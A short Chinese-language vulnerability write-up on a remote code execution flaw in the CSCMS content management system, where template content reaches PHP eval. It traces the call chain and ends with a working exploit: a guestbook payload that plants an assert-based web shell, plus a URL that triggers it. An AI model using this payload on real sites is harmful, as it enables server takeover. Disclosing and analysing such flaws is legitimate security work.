漏洞存在于:\app\models\Csskins.php
cscms_php
这个类方法中存在代码执行,:
// php标签处理
public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
$str=str_replace($php,$newsphp,$str);
return $str;
}
- 我们追踪
cscms_php
在template_parse
这个方法中进行了调用,但是这里进行了过滤,这样类型的是可以执行的:{cscmsphp}phpinfo();{/cscmsphp}
追踪$str
是template_parse
的传入参数,我们再继续追踪template_parse
- 经过一段时间的查找,
gbook_list
类方法调用了template_parse
- 我们追踪
$Mark_Text
发现它是由$data_content
经过替换得到。那么我们继续追踪$data_content
- 从下面代码我们可以简单知道
$data_content
是由一个数组得到的,而这个数组是通过查询数据库得到的。这里就可以得到一个思路,就是通过留言板把payload写入数据库,而后gbook_list
会把payload拿出来去渲染,因为这里无论内容有哪些最终在传到cscms_php
这个类方法时候都会获取到payload。
- 留言处插入如下payload
{cscmsphp}assert($_REQUEST[pwd]);{/cscmsphp}
- 访问:
http://www.tp5.com/index.php/gbook/lists/1?pwd=phpinfo();